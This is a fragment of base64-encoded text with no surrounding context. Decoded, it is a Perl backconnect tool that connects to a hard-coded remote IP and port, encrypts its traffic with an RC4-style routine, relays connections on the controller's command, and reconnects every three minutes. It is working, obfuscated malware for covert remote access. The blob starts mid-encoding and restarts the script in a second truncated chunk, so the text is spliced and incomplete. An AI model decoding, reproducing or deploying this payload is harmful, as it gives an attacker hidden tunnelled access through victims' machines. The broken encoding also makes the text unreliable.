QsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNv